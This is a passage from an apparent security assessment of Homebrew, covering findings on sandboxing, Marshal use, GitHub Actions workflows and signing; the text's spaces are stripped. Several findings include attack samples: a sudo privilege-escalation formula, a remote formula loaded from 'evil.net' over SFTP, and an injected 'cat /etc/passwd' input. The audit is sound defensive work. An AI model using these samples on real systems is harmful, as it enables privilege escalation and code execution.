8.Formulasallowforexternalresourcestobedownloadedduringtheinstall step Severity:MediumDifficulty:High Type:AccessControlsFindingID:TOB-BREW-8 Target: brew/Library/Homebrew/formula_installer.rb Description Ifapackagedownloadsexternalresourcesduringtheinstallphaseoftheprocess,the integrityofthefilesisnevervalidatedby brew itself.Thiscouldleadtoacasewherethe upstreamresourceischangedunexpectedlyormaliciously,whichcouldalsoaffectthe reproducibilityofthebuild. classInstallNetwork<Formula desc"" homepage"" url"https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz" version"0.0.0" sha256"8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license"" definstall system"curl","-L","-o","#{prefix}/build.sh", "https://example.com/files/build.sh" end testdo system"false" end end Figure8.1:Exampleformulathatdownloadsunverifiedexternalresources ExploitScenario Anattackertakesoveranunverifiedupstreamresourceandinjectsmaliciouscodeintoa brewbottle whileitisbeingbuilt. Recommendations Shortterm,Homebrewshouldcheckthatnoexistingpackagesdownloadunexpected resourcesoverthenetworkthatarenotexplicitlydeclared. hasheye 29HomebrewSecurityAssessment PUBLIC

Longterm,Homebrewshouldpre-downloadtheextrarequiredresources,(afterverifying theirintegrityinanearlierstep)andsandboxnetworkrequestsinthebuild/post-install stage.Thiswillensurethatpackagesdonotinadvertentlydownloadresources. hasheye 30HomebrewSecurityAssessment PUBLIC

9.UseofMarshal Severity:UndeterminedDifficulty:Low Type:DataValidationFindingID:TOB-BREW-9 Target: brew/Library/Homebrew/dependency.rb Description The Dependency classdefines _dump and _load APIsthatuseRuby’s Marshal internally. #Definemarshalingsemanticsbecausewecannotserialize@env_proc. def_dump(*) Marshal.dump([name,tags]) end defself._load(marshaled) new(*Marshal.load(marshaled))#rubocop:disableSecurity/MarshalLoad end Figure9.1: Dependency._dump

and Dependency._load
Marshalisafundamentallydangerousserializationformat,bydesign:itevaluatesarbitrary
Rubyobjectsondeserialization,allowinganattackertoeasilyformMarshalledinputsthat runarbitrarycode.
Afteraninitialanalysis,hasheyewasunabletodetermineanypartsofthecodewhere these Dependency
APIsareused.However,duetoRuby’sdynamicnature,weareunable
tostateconfidentlythattheyarenotcalledindirectlysomewhereinthecodebase. ExploitScenario
Ifanattackermanagestoinvoke Dependency._load withacontrolledpayload,theymay
beabletoexecutearbitrarycodesurreptitiouslyoutsideofthecontextofaninstallation sandbox.
Recommendations Shortterm,ifpossible,replacetheseusesof Marshal withasaferserializationformat
(suchasJSON). Longterm,evaluatetheneedforthisAPI;ifitisunneeded,removeitentirely. hasheye
31HomebrewSecurityAssessment PUBLIC

10.LackofsandboxingonLinux Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-10
Target: brew/Library/Homebrew/extend/os/sandbox.rb Description
Thereisalackofsandboxingatallon Linux. #typed:strict #frozen_string_literal:true
require"extend/os/mac/sandbox"ifOS.mac? Figure10.1:SandboximplementedonlyforMacOS ExploitScenario
PackagesbuiltforLinuxmayintentionallyorunintentionallyoverwriteotherfilesonthe
system,whichcanpotentiallyallowpackagestoclobbereachotherorcompromisetheCI
systembuildingLinuxpackages,especiallyinthecaseofself-hostedLinux-basedrunners. Recommendations
HomebrewshouldimplementabasicLinuxsandboxusingeitherbubblewrap,nsjail,or
someotherlightweight,namespace-basedLinuxsandboxingmechanism. hasheye 32HomebrewSecurityAssessment
PUBLIC

11.SandboxescapethroughdomainsocketpivotonmacOS Severity:MediumDifficulty:Medium
Type:AccessControlsFindingID:TOB-BREW-11 Target: brew/Library/Homebrew/sandbox.rb Description
OnmacOS,somesandboxesmaybecreatedwithspecialexceptionsforvarioussystem andHomebrew-
specifictemporarydirectories: defallow_write_temp_and_cache allow_write_path"/private/tmp"
allow_write_path"/private/var/tmp"
allow_write"^/private/var/folders/[^/]+/[^/]+/[C,T]/",type::regex allow_write_pathHOMEBREW_TEMP
allow_write_pathHOMEBREW_CACHE end Figure11.1:SandboxexceptionsfortemporarydirectoriesonmacOS
Inparticular, allow_write_temp_and_cache isusedinboththe build and post_install
phasesofformulainstallation: sandbox=Sandbox.new formula.logs.mkpath
sandbox.record_log(formula.logs/"postinstall.sandbox.log") sandbox.allow_write_temp_and_cache
sandbox.allow_write_log(formula) Figure11.2:Sandboxexceptionsduringpost-install
ThesystemtemporarydirectoriesexceptedundertheseRulestypicallycontainUnix
domainsocketsforrunningservices,whichinturncanbewrittento.Dependingonthe
servicesbeingused,amaliciousformulamaybeabletoperformasandboxescapeby
connectingtooneofthesedomainsocketsandsendingservice-specificinformationtobe
interpretedassystemcommands,instructionstoperformI/O,etc. ExploitScenario Atargeteduserhas tmux
,apopularterminalmultiplexer,installed. tmux runsasa
backgrounddaemonwithmultipleconnectingclients,servicingconnectionsthrougha
domainsockettypicallyexposedat /private/tmp/tmux-${UID} ,where ${UID} isthe
runninguser’snumericidentifier.Anyprocessthatcanwritetothisdomainsocketcan hasheye
33HomebrewSecurityAssessment PUBLIC

sendcommandsto tmux ,includingthe send-keys command,whichiscapableofrunning arbitraryshellcommands.
Toperformasandboxescape,anattackerdiscoversusefuldomainsockets(like tmux)in
thetemporarydirectoriesthatthesandboxhasaccessto.Using tmux asanexample,they
thensendcommandsthroughthesocket,causingthe tmux daemon(orasubprocessof
thedaemon)torunarbitrarycommandsorperformI/Ooutsideofthesandbox.
Thisattackrequiresthetargettoberunninganindependentserviceordaemonthat
exposesasocketviaasystemtemporarydirectory.However,thisisacommon configuration(suchaswith tmux
bydefault). Recommendations Short-
term,evaluatetheabilityofthemacOSsandboxrulestofurtherrestrictUnixdomain
socketaccessinthesedirectories.Inparticular,the network-outbound rulemaybeable
toperformrestrictionson unix-socket patterns.
Longterm,considereliminatingthesepathsfromthesandboxedprocessesentirely,and insteadinject TMPDIR
andsimilarenvironmentvariablesthatpointtoanentirely Homebrew-
controlledtemporarydirectory(suchasadedicatedoneunder HOMEBREW_TEMP). hasheye
34HomebrewSecurityAssessment PUBLIC

12.Formulaprivilegeescalationthroughsudo Severity:MediumDifficulty:High
Type:AccessControlsFindingID:TOB-BREW-12 Target: brew Description
Formuladefinitionscanruncommandsastherootuserusing sudo--non-interactive ,
assumingthattheuserhasused sudo earlierintheshellhistory. ExploitScenario
Thefollowingfigureshowsanexampleofamaliciouspackagethatcantakeadvantageof thisissue:

#privilegeEscalation.rb classPrivilegeescalation<Formula url"https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz" sha256"8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license"GPL-3.0-or-later" definstall ENV.append"LDFLAGS","-liconv"ifOS.mac? system"./configure","--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system"make","install" end end system"sudo","--non-interactive","touch","/tmp/pwned"
Figure12.1:SandboximplementedonlyforMacOS Hereiswhathappenswhenthispackageisinstalled: $sudodo_unrelated_thing Password: ... ... $brewinstall./privilegeEscalation.rb ... $ls-l/tmp/pwned -rw-r--r--1rootwheel0Aug2511:54/tmp/pwned Figure12.2:Installingthemaliciouspackage hasheye

Recommendations Runsudo-kwheneverathird-party(i.e.,outsideofHomebrewcore)formuladefinitionfile isabouttoberead,andingeneralwheneveruntrustedcodeisabouttobeexecuted. hasheye

13.FormulaloadingthroughSFTP,SCP,andotherprotocols Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-13 Target: brew/Library/Homebrew/formulary.rb Description Homebrewallowsloadingofformulaebypathorby file:// URL,butexplicitlyforbids arbitraryloadingviaotherprotocols(suchasHTTP/HTTPSandFTP): defload_file(flags:,ignore_errors:) match= url.match(%r{githubusercontent.com/[\w-]+/[\w-]+/[a-f0-9]{40}(?:/Formula)?/(?<name>[\w+-.@]+).rb}) ifmatch raiseUnsupportedInstallationMethod, "Installationof#{match[:name]}fromaGitHubcommitURLisunsupported! "\ "`brewextract#{match[:name]}`toastabletaponGitHubinstead." elsifurl.match?(%r{^(https?|ftp)://}) raiseUnsupportedInstallationMethod, "Non-checksummeddownloadof#{name}formulafilefromanarbitraryURLis unsupported!"\ "`brewextract`or`brewcreate`and`brewtap-new`tocreateaformula fileinatap"\ "onGitHubinstead."
Figure13.1:RestrictionsondownloadsofformulaefromarbitraryURLs However,Homebrew'scurrentchecksarelimitedtoHTTP(s)andFTP,while curl (the underlyingdownloadhandler)istypicallybuiltwithsupportforadditionalprotocols, includingSFTP,SCP,IMAP,andFTPS.Consequently,anattackerisabletoinduce Homebrewintoloadingaremotelyspecifiedformula(andexecutingitscontents)viaaURL foroneoftheseprotocols: brewinstallsftp://evil.net/~/malicious.rb
Figure13.2:InstallationfromanSFTPURL ExploitScenario Anattackermayusethisremoteloadingvectorasapivotingtechnique:theremaybe situationswhereHomebrewassumesthattheargumentsto brewinstall (andsimilar commands)allrepresentlocallyinstalledformulaethataretrustedbytheuser,whenin hasheye

realityanattackermaybeabletointroducearemoteformulathatgetsloadedand executedunexpectedly. Recommendations WerecommendthatHomebrewperformformulaargumentsanitizationthrougha "deny-by-default"strategy,i.e.rejectinganythingthatisnotanordinaryformulaname, localpath,or file:// URLbydefault,ratherthanattemptingtoenumeratespecific protocolstoreject. hasheye

14.Sandboxallowschangingpermissionsforimportantdirectories Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-14 Target: brew/Library/Homebrew/sandbox.rb Description Thesandboxallowsaformulabuild,post-install,andteststeptochangethepermissionsof the brew cachedirectory. classChmodTest<Formula desc"" homepage"" url"https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz" version"0.0.0" sha256"8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license"MIT" definstall system"chmod","ug-w","/Users/user/Library/Caches/Homebrew" #system"chmod","777","/Users/user/test_file"#thisgetsblocked end testdo system"false" end end
Figure14.1:Sampleformulathatchangesdirectorypermissions ExploitScenario Giventheabilitytoaddorremovepermissionsinunexpected brew directories,aformula eithermakesfilesordirectoriestoopermissiveornotpermissiveenough,thuspreventing filesfrombeingread,written,created,ordeleted. Recommendations Homebrewshouldusethesandboxtoensurethatformulasdonotchangethepermissions ofunexpectedfilesordirectories,especiallydirectoriesimportantto brew .Thisisgoverned bythe file-write-mode sandboxoperation. hasheye

15.Homebrewsupportsonlyend-of-lifeversionsofRuby Severity:InformationalDifficulty:Undetermined Type:PatchingFindingID:TOB-BREW-15 Target:AllofHomebrew Description Homebrewcurrentlyexpectstoberununder Ruby2.6,whichwasdeclaredend-of-life (EOL)bytheRubymaintainersinApril2022.NewerversionsofRubythathavenotyet reachedEOLareconsideredunsupportedbyHomebrew,andarenotyetavailablethrough homebrew-portable-ruby. ExploitScenario Thisisapurelyinformationalfinding;althoughunpatchedCVEsexistforRuby2.6and otherEOLRubyversions,theHomebrewmaintainersdonotconsidertheseCVEsrelevant toHomebrew'suseofRuby.Homebrew'smaintainershaveindicatedthattheyintendto

upgradeHomebrewtoRuby3.2,puttingthemonaversionofRubythatisreceiving securityupdates. Recommendations WerecommendthatHomebrewupgradetoRuby3.2. hasheye 40HomebrewSecurityAssessment PUBLIC

16.Pathtraversalduringbottling Severity:InformationalDifficulty:High Type:DataValidationFindingID:TOB-BREW-16 Target: brew/Library/Homebrew/dev-cmd/bottle.rb , brew/Library/Homebrew/software_spec.rb Description Thereisapathtraversalduringtheexecutionofthe brewbottle commandthatallows fortheoutputfiletobeputintoadifferentdirectory.However,thisismostlikely impossibletoexploit,sinceanypackagetryingtoexploitthiswouldhaveaninvalidlocation forthepackage’skegandthuscouldnotbebottledinthefirstplace. Thefollowingpiecesofcodeareusedtodecidewheretoputtheoutputfrom brew bottle : filename=Bottle::Filename.create(formula,bottle_tag.to_sym,rebuild) local_filename=filename.to_s bottle_path=Pathname.pwd/filename Figure16.1:Definitionof bottle_path (brew/Library/Homebrew/dev-cmd/bottle.rb:356-358) sig{returns(String)} defto_s "#{name}--#{version}#{extname}" end aliasto_strto_s Figure16.2:Codeusedin Bottle::Filename tocalculate bottle_path asastring (brew/Library/Homebrew/software_spec.rb:306-310) Bymaliciouslysettingthenameorversionofapackage,anattackercouldcausethe bottle_path tocontainapathtraversal,placingtheoutputfileinadifferentdirectory thanintended. Recommendations Shortterm,removeanyspecialcharactersfromthe name and version beforeusingit whencreatingthe bottle_path .Preferably,alsodisallowformulasfromhavingthese specialcharactersintheir version namesinthefirstplace(seeTOB-BREW-4). hasheye 41HomebrewSecurityAssessment PUBLIC

Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis properlysanitizedbeforebeingused. hasheye 42HomebrewSecurityAssessment PUBLIC

17.FileUtils.rm_rfdoesnotcheckiffilesaredeleted Severity:UndeterminedDifficulty:Low Type:ErrorHandlingFindingID:TOB-BREW-17 Target: homebrew-test-bot/lib/tests/formulae.rb ,throughoutthe brew codebase Description Whenusing FileUtils.rm_rf ,Rubymasksallerrors,notjust“filenotfound”errors, whichcanbesurprising.Thiscanmaskissuesthatpreventthefileordirectoryfrombeing deleted. #Removestheentrygivenby+path+, #whichshouldbetheentryforaregularfile,asymboliclink, #oradirectory. # #Argument+path+ #shouldbe{interpretableasapath}[rdoc-ref:FileUtils@Path+Arguments]. # #Optionalargument+force+specifieswhethertoignore #raisedexceptionsofStandardErroranditsdescendants. # #Related:FileUtils.remove_entry_secure. # defremove_entry(path,force=false) Entry_.new(path).postorder_traversedo|ent| begin ent.remove rescue raiseunlessforce end end rescue raiseunlessforce end module_function:remove_entry Figure17.1:Rubyimplementationof remove_entry A numberofplacesinthecodeareworthdoublecheckingtoensurethatignoringallerrors relatedtodeletionisintentional.Figure17.2showssomeexamples. hasheye 43HomebrewSecurityAssessment PUBLIC

defcleanup_bottle_etc_var(formula) bottle_prefix=formula.opt_prefix/".bottle" #Nukeetc/vartohavethembecleantodetectbottleetc/var #fileadditions. Pathname.glob("#{bottle_prefix}/{etc,var}/**/*").eachdo|bottle_path| prefix_path=bottle_path.sub(bottle_prefix,HOMEBREW_PREFIX) FileUtils.rm_rfprefix_path end end defverify_local_bottles with_env(HOMEBREW_DISABLE_LOAD_FORMULA:“1”)do ... #Deletethesefilessowedon'tendupuploadingthem. files_to_delete=mismatched_checksums.keys+unexpected_bottles files_to_delete+=files_to_delete.select(&:symlink?).map(&:realpath) FileUtils.rm_rffiles_to_delete test"false"#ensurethat`test-bot`exitswithanerror. false end end Figure17.2: cleanup_bottle_etc_var and verify_local_bottles foundin homebrew-test-bot/lib/tests/formulae.rb ExploitScenario Codethatassumestheabsenceofspecificfilesordirectoriesmayhavethatassumption violated.AnattackercanpotentiallyinducethisissueusingTOB-BREW-14,whichallows formulastochangethepermissionsofcertain brew directories. Recommendations Shortterm,werecommendauditingallusagesof FileUtils.rm_rf toensurethatitis safetocontinueifthefileordirectorydeletiondoesnotsucceedinremovingtheexpected items. Longterm,werecommendcreatingahelperthatignores ENOENT butraisesonother potentialerrorsthatmayoccurwhendeletingfilesordirectories. hasheye 44HomebrewSecurityAssessment PUBLIC

18.Useofpull_request_targetinGitHubActionsworkflows Severity:MediumDifficulty:Medium Type:AccessControlsFindingID:TOB-BREW-18 Target: brew/.github/workflows/vendor-gems.yml , homebrew-actions/.github/workflows/vendor-node-modules.yml Description The vendor-gems and vendor-node-modules workflowsbothdeclare pull_request_target asatrigger,allowingthird-partypullrequeststoruncodewithin thecontextofthetargeted(i.e.,upstream)repository: name:VendorGems on: pull_request: paths: -Library/Homebrew/dev-cmd/vendor-gems.rb -Library/Homebrew/Gemfile* push: paths: -.github/workflows/vendor-gems.yml branches-ignore: -master pull_request_target:

workflow_dispatch: inputs: pull_request: description:Pullrequestnumber required:true Figure18.1:Workflowtriggersfor vendor-gems.yml name:Vendornode_modules on: pull_request_target: types: -labeled workflow_dispatch: inputs: pull_request: description:Pullrequestnumber required:true Figure18.2:Workflowtriggersfor vendor-node-modules.yml hasheye 45HomebrewSecurityAssessment PUBLIC

Because pull_request_target allowsarbitrarythird-partyPRstorunarbitrarycodein thecontextofthetargetrepository,itisconsidereddangerousandgenerallydiscouraged byGitHub.GitHubparticularlycautionsagainsttheuseof pull_request_target inany contextwhereanattackermaybeabletoinduce npminstall orasimilarvectorfor arbitrarycodeexecution,whichistheprimarypurposeforboth vendor-gems.yml and vendor-node-modules.yml . Bothworkflowscontainpartialmitigationsagainsttherisksof pull_request_target . vendor-gems.yml appearstoignoretheeventunlessitcomesfromanostensiblytrusted user(dependabot[bot] ,indicatingGitHub’sDependabot): jobs: vendor-gems: if:> github.repository_owner=='Homebrew'&&(github.event_name=='workflow_dispatch'|| github.event_name=='pull_request'|| github.event_name=='push'||(github.event.pull_request.user.login=='dependabot[bot]'&& contains(github.event.pull_request.title,'/Library/Homebrew'))) Figure18.3:Eventfilteringin vendor-gems.yml vendor-node-modules.yml usesthe labeled sub-filtertorestricttheworkflowtoonly pullrequeststhathavebeenexplicitlylabeledwitha“safe”labelbyareviewer.Regardless, bothworkflowsrunarbitrarycodeviapackagemanagementsteps,meaningthata maliciousorcompromisedpackagemaybeabletorunarbitrarycodeineachworkflow’s respectiverepository(includingaccesstorepositorysecretsandothersensitivematerials). ExploitScenario Scenario1:AcompromisedRubyGemorNodepackageinspectsitsrunningenvironment, determinesthatitisexecutinginthecontextofa pull_request_target ,andexfiltrates environmentvariablesorothersecrets(orpotentiallyrunscodeinthecontextofthe trustedrepository,establishingpersistence). Scenario2:The labeled sub-filterfor pull_request_target issubjecttorace conditions,allowinganattackertopushnewchangesafteraworkflowhasbeenlabeled (indicatingtrustandapproval)buthasnotyetbeenpickedupbyaworkflowrunner. Recommendations Shortterm,werecommendthattheHomebrewmaintainersconductareviewofthese workflowsanddeterminewhat,ifany,furtherfiltersandrestrictionscanbeappliedtotheir pull_request_target triggers.Inparticular,werecommendthatbothbefullyrestricted hasheye 46HomebrewSecurityAssessment PUBLIC

to dependabot[bot] orsimilartrustedaccountidentities,thatbothenforcelabeling,and thatneitherexposesunnecessarypermissionsorsecrets. Longterm,werecommendthatHomebrewrefactortheseworkflowstoavoid pull_request_target entirely.Inparticular,werecommendthatHomebrewconsider automationflowsthatuseonlysafertriggerslike pull_request ,orthatworkflowsusea comment-basedflowtoenabletrusteduserstotriggermodificationstoPRs. hasheye 47HomebrewSecurityAssessment PUBLIC

19.Useofunpinnedthird-partyworkflow Severity:LowDifficulty:High Type:PatchingFindingID:TOB-BREW-19 Target:Workflowsthroughout Homebrew/brew , Homebrew/formulae.brew.sh , Homebrew/homebrew-test-bot ,and Homebrew/homebrew-actions Description WorkflowsthroughouttheHomebrewrepositoriesmakedirectuseofthethird-party ruby/setup-ruby@v1 workflow.Thefollowingexampleoccursin review-cask-pr.yml : -name:SetupRuby uses:ruby/setup-ruby@v1 with: ruby-version:'2.6' Figure19.1:Useof ruby/setup-ruby@v1 in review-cask-pr.yml Gittagsaremalleable.Thismeansthat,while ruby/setup-ruby ispinnedto v1 ,the upstreammaysilentlychangethereferencepointedtoby v1 .Thiscanincludemalicious re-tags,inwhichcaseHomebrew’svariousdependentworkflowswillsilentlyupdatetothe maliciousworkflow. GitHub’ssecurityhardeningguidelinesforthird-partyactionsencouragedevelopersto pin third-partyactionstoafull-lengthcommithash.Generallyexcludedfromthisis“official” actionsunderthe actions org;however, setup-ruby isnotan“official”action. Specificallyaffectedworkflowsinclude: • homebrew-actions/.github/workflows/review-cask-pr.yml • formulae.brew.sh/.github/workflows/scheduled.yml • formulae.brew.sh/.github/workflows/tests.yml • brew/.github/workflows/docs.yml • homebrew-test-bot/.github/workflows/tests.yml ExploitScenario Anattacker(orcompromisedmaintainer)maysilentlyoverwritethe v1 tagon ruby/setup-ruby withamaliciousversionoftheaction,causingalargenumberof security-sensitiveHomebrewworkflowstorunmaliciouscode. hasheye 48HomebrewSecurityAssessment PUBLIC

Recommendations Shortterm,werecommendthatHomebrewreplacethecurrent v1 tagoneachuseof ruby/setup-ruby withafull-lengthcommithashcorrespondingtotherevisionthateach workflowisintendedtouse. Longerterm,werecommendthatHomebrewleverageDependabot’ssupportforGitHub Actionstokeepthesehashesuptodate(complementedbymaintainerreviews). hasheye 49HomebrewSecurityAssessment PUBLIC

20.Unpinneddependenciesinformulae.brew.sh Severity:MediumDifficulty:Medium Type:PatchingFindingID:TOB-BREW-20 Target: formulae.brew.sh/Gemfile Description formulae.brew.sh

isrenderedbyJekyll,andspecifiesitsdependenciesinatop-level Gemfile : gem"faraday-retry" gem"jekyll" gem"jekyll-redirect-from" gem"jekyll-remote-theme" gem"jekyll-seo-tag" gem"jekyll-sitemap" gem"rake" Figure20.1:Excerpteddependenciesin formulae.brew.sh ’s Gemfile Notably,allcurrentdependenciesforthesite’sbuildarecurrentlyunpinned.Combined withtheabsenceofa Gemfile.lock ,thismeansthateveryre-buildofthesitepotentially installsdifferent(andnew)versionsofeachdependency. Priorto formulae.brew.sh ’shostingofHomebrew’sJSONformulaAPI,thesite’ssecurity profilewasminimal.However,nowthat formulae.brew.sh servesasthesourceoftruth forinstallableformulae,itssecurityprofileissubstantial.Consequently,alldependencies usedtobuildthesiteshouldbefullypinnedtominimizetheriskofdownstream compromiseorpackagetakeover. ExploitScenario Anattackerwhomanagestotakeoverorcompromiseoneof formulae.brew.sh ’s dependenciesmaybeabletoexecutearbitrarycodeduringthesite’sgenerationand deployment,including: • Potentiallystealingormaliciouslyusingthecurrent JSONAPIsigningkey,resultingin atotalcompromiseofbottleintegrityandauthenticity; • DefacingormaliciouslymodifyingtheHomebrewwebsite(e.g.toincludemalicious recommendationsforusers) hasheye 50HomebrewSecurityAssessment PUBLIC

Evenwithoutaccesstothesigningkey,anattackermaybeabletoperforma“downgrade” attackonHomebrewusersbyforcingtheJSONAPItoserveanoldercopyofthesigned JSONresponse,resultingindownstreamusersinstallingolder,vulnerablecopiesof formulae. Recommendations Shortterm,werecommendthatHomebrewapplyversionpinstoeachdependency specifiedin formulae.brew.sh ’s Gemfile .Additionally,werecommendthatHomebrew checkanequivalent Gemfile.lock intothesourcetree,providingadditionalintegrityto theversionpins. Longterm,werecommendthatHomebrewuseDependabottotrackupdatestothe Gemfile - specifieddependenciesand,withmaintainerreview,performallupdatesthrough Dependabot.WealsorecommendthatHomebrewevaluateeachdependency’s maintenancestatusandimportanceand,ifpossible,eliminateasmanyaspossibleaspart ofalargerefforttoreducetheoverallexternalsecurityprofileof formulae.brew.sh . hasheye 51HomebrewSecurityAssessment PUBLIC

21.UseofRSAforJSONAPIsigning Severity:InformationalDifficulty:High Type:CryptographyFindingID:TOB-BREW-21 Target: formulae.brew.sh/script/sign-json.rb Description HomebrewcurrentlysignsallJSONAPIresponsesusinganRSAkey,usingtheRSA-PSS signingschemewithSHA512asthecryptographicdigestandmaskgenerationfunction. signature_data=Base64.urlsafe_encode64(PRIVATE_KEY.sign_pss("SHA512",signing_input,salt_length::digest,mgf1_hash: "SHA512")) Figure21.1:RSA-PSSsignaturegenerationin sign-json.rb Homebrewcurrentlyusesa4096-bitRSAkey,andRSA-PSSisawell-studied,strong instantiationofanRSAsigningschemewithaformalsecurityproof. Atthesametime,RSAisadangerouscryptosystemthatreflectshistoricalconstraints, exposesexcessiveparameterstothekey-generatingparty,andproduceslargersignatures thancorrespondingsecuritymarginsinothercryptosystems. ExploitScenario WeconductedareviewofHomebrew’scurrentsigningkeyandfoundthatitusesa reasonablepublicexponent(e=65537)andhasasubstantialsecuritymargin(4096bits, equivalenttogreaterthan128bitsofsymmetricsecurity).CombinedwithHomebrew’suse ofRSA-PSS,webelievethatthecurrentuseofRSAdoesnotrepresentasubstantialriskto Homebrew’sJSONAPIsignatures.Assuch,thisisapurelyinformationalfinding. Recommendations Werecommendnoshortormedium-termactions. Longterm,werecommendthatHomebrew’snextkeyrotationreplaceRSAandRSA-PSS withanECCkeyandECDSA(orEdDSA,ifclientsupportpermits).ECCkeysandsignatures aresubstantiallysmallerthantheirRSAequivalentswithcomparablesecuritymarginsand havefeweruser-controlledparameters. hasheye 52HomebrewSecurityAssessment PUBLIC

22.Bottlesbeginning“-”canleadtounintendedoptionsgettingpassedtorm Severity:InformationalDifficulty:Low Type:DataValidationFindingID:TOB-BREW-22 Target: homebrew-test-bot/.github/workflows/tests.yml#L127 Description Ifabottlecontainsa - ,thismayleadtounintendedoptionsgettingpassedto rm . -run:rm-rvf*.bottle*.{json,tar.gz} Figure22.1:Potentiallybuggyworkflow ExploitScenario Thisisveryunlikelytobeexploitablebutmayproducesomesurprisingbehaviorwhen combinedwithTOB-BREW-4. Recommendations Werecommendchangingtheworkflowtousethefollowing. -run:rm-rvf--*.bottle*. {json,tar.gz} Figure22.2:Apossiblesolutiontothebuggyworkflow Wealsorecommendrunningactionlintontheotherreposbesidesjust Homebrew/brewas notedinappendixC. hasheye 53HomebrewSecurityAssessment PUBLIC

23.Codeinjectionthroughinputsinmultipleactions Severity:MediumDifficulty:Low Type:DataValidationFindingID:TOB-BREW-23 Target:Multipleactionsdefinedin Homebrew/homebrew-actions Description Homebrew/homebrew-actions containsawidevarietyofutilityactionsusedthroughout

theHomebrewproject.Manyoftheseactionshaveconfigurable inputs ,allowingtheir callingworkflowsanduserstosupplyvalues/relevantpiecesofstate. Inmanycases,these inputs aretreatedasvariables,andexpandeddirectlyintoshellor RubyexpressionsusingGitHubActions' ${{..}} expansionsyntax: steps: -run:brewbump--open-pr--formulae${{inputs.formulae}} if:inputs.formulae≠'' shell:sh env: HOMEBREW_DEVELOPER:"1" HOMEBREW_GITHUB_API_TOKEN:${{inputs.token}} Figure23.1:Anexampleofaninputexpansionin homebrew-actions/bump-packages However,performingblindexpansionsofpotentiallyuser-controlledinputslikethisis dangerous,asGitHub's ${{...}} expansionsyntaxperformsnoquotingorescapingof theexpandedvalue. Consequently,anattackermayleverageanactioninputtoperformashellinjection: inputs.formulae maybecontrivedtocontain foo;cat/etc/passwd ,resultingin brewbump--open-pr--formulaefoo;cat/etc/passwd beingrunbythe surroundingworkflow. Thispatternappearswidelyintheactionsdefinedunder homebrew-actions .The following(notguaranteedtobeexhaustive)listofactionscontainsatleastonepotentially user-controlledcodeinjectionthrough inputs : • bump-formulae • bump-packages • count-bottles • failures-summary-and-bottle-result • find-related-workflow-run-id hasheye 54HomebrewSecurityAssessment PUBLIC

• pre-build • setup-commit-signing Theimpactofthesevariesbyactionandbyeachaction'sworkflowusage,including relevantworkflowtriggers.Intheworst-casescenario,anactionmaybeusedbyaworkflow thattakesentirelyPR-controlledinputs,allowinganuntrustedPRtomakechangestothe workflow'sbehaviorsurreptitiously. ExploitScenario Dependingonhowtheseactionsareappliedtotheirrespectiveworkflows,anattackermay beabletoexecutearbitraryshellorRubycodeinthecontextofaworkflowstepthatis otherwiseconstrainedtoanexpectedsetofoperations.Theseexpansionsmayalsoallowa maintainerwithlimitedprivileges(e.g.,theabilitytomanuallydispatchsomeworkflows)to pivottogreaterprivilegesbyinjectingarbitrarycodeintothoseworkflows. Recommendations Generallyspeaking,any ${{...}} expansioninashellorotherexecutablecontextcanbe rewrittenintoaninjection-freeformthroughtheuseofenvironmentvariables. Forexample,thefollowing: -run:./count.sh'${{inputs.working-directory}}''${{inputs.debug}}' working-directory:${{github.action_path}} shell:bash id:count Figure23.2:Twopotentiallyinputunsafeexpansions Couldberewrittenas: -run:./count.sh"${INPUT_WORKING_DIRECTORY}""${INPUT_DEBUG}" working-directory:${{github.action_path}} shell:bash id:count env: INPUT_WORKING_DIRECTORY:"${{inputs.working-directory}}" INPUT_DEBUG:"${{inputs.debug}}" Figure23.3:Unsafeexpansionsrewrittentouseenvironmentvariables hasheye 55HomebrewSecurityAssessment PUBLIC

24.UseofPGPforcommitsigning Severity:InformationalDifficulty:Undetermined Type:CryptographyFindingID:TOB-BREW-24 Target: homebrew-actions/setup-commit-signing Description Thecurrent setup-commit-signing actionusesaPGPkey: gitconfig--globaluser.signingkey$GPG_KEY_ID gitconfig--globalcommit.gpgsigntrue Figure24.1:PGPkeyconfigurationin setup-commit-signing PGPisagenerallydatedandinsecurecryptographicecosystem:whileindividual applicationsofPGPcanbesecure,itsoverallcomplexity,insecuredefaults,and"kitchen sink"designisgenerallyapoorfitformodernapplications,includingdigitalsignatureson Gitcommits. GithassupportedcommitsigningwithSSHkeyssinceGit2.34(releasedin2021),and GitHubhassupportedSSHcommitverificationsince2022.Thisallowsuserstofullyreplace theirPGPsigningkeywithanSSHsigningkey,whichinturnprovidesmoremodern defaultsinasmalleroverallcryptographicpackage(meaningareducedattacksurface). Recommendations Wemakenoimmediateormedium-termrecommendationsforthisfinding. Inthelongterm,werecommendthatHomebrewconsiderreplacingitscurrentcommit signingkeywithanSSH-basedsigningkey.Inparticular,werecommendthatHomebrew useanSSH-basedEd25519key,givenitswidespreadsupportinboththeSSHandGit ecosystems. hasheye 56HomebrewSecurityAssessment PUBLIC

25.UnnecessarydomainseparationbetweensigningkeyandkeyID Severity:InformationalDifficulty:Undetermined Type:CryptographyFindingID:TOB-BREW-25 Target: brew/Library/Homebrew/api.rb Description Homebrew'sJSONAPIincludesJSONWebSignature-formattedsignatures.Thesesignatures include(unauthenticated)metadatadesignedtoassisttheverifyingparty,includingakey identifierintendedtoacceleratelookupwhenmultiplepublickeysarebeingconsidered. InHomebrew'scase,thecurrentoneandonlysigningkeyisidentifiedbythe homebrew-1 identifier,whichismatchedagainstduringsignatureverification: homebrew_signature=signatures&.find{|sig|sig.dig("header","kid")== "homebrew-1"} Figure25.1:Searchingforasignaturethatdesignates homebrew-1 asitssigningkey Theuseofahuman-readablekeyidentifier(homebrew-1)resultsindomainseparation betweenthesigningkeyanditsidentifier:nothingpositivelybindstheidentifiertothe

